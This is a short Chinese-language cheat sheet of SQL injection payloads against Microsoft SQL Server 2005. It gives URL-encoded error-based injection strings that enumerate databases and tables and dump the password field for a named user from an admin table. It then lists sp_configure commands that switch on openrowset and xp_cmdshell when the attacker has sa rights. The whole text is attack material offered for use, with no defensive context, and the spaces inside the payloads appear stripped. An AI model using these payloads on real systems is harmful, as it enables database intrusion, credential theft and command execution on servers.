mssql2005注入方法小结

爆库语句，修改红色部分的数字挨个猜出库
and(selecttop1isnull(cast([name]asnvarchar(500)),char(32))%2bchar(124)from[master].[dbo].[sysdatabases]wheredbidin(selecttop1dbidfrom[master].[dbo].[sysdatabases]orderbydbiddesc))%3d0--

爆表语句,somedb部份是所要列的数据库，红色数字1累加
and(selecttop1cast(nameasvarchar(200))from(selecttop1namefromsomedb.sys.all_objectswheretype%3dchar(85)orderbyname)torderbynamedesc)%3d0--

爆字段语句，爆表admin里user='icerover'的密码段
And(SelectTop1isNull(cast([password]asvarchar(2000)),char(32))%2bchar(124)From(SelectTop1[password]From[somedb]..[admin]Whereuser='icerover'Orderby[password])TOrderby[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的，openrowset也不能用
如果是sa权限，可以这样来开启

开启openrowset
EXECsp_configure'showadvancedoptions',1;RECONFIGURE;--
EXECsp_configure'AdHocDistributedQueries',1;RECONFIGURE;--

开启xp_cmdshell
EXECsp_configure'AdHocDistributedQueries',1;RECONFIGURE;--
EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;--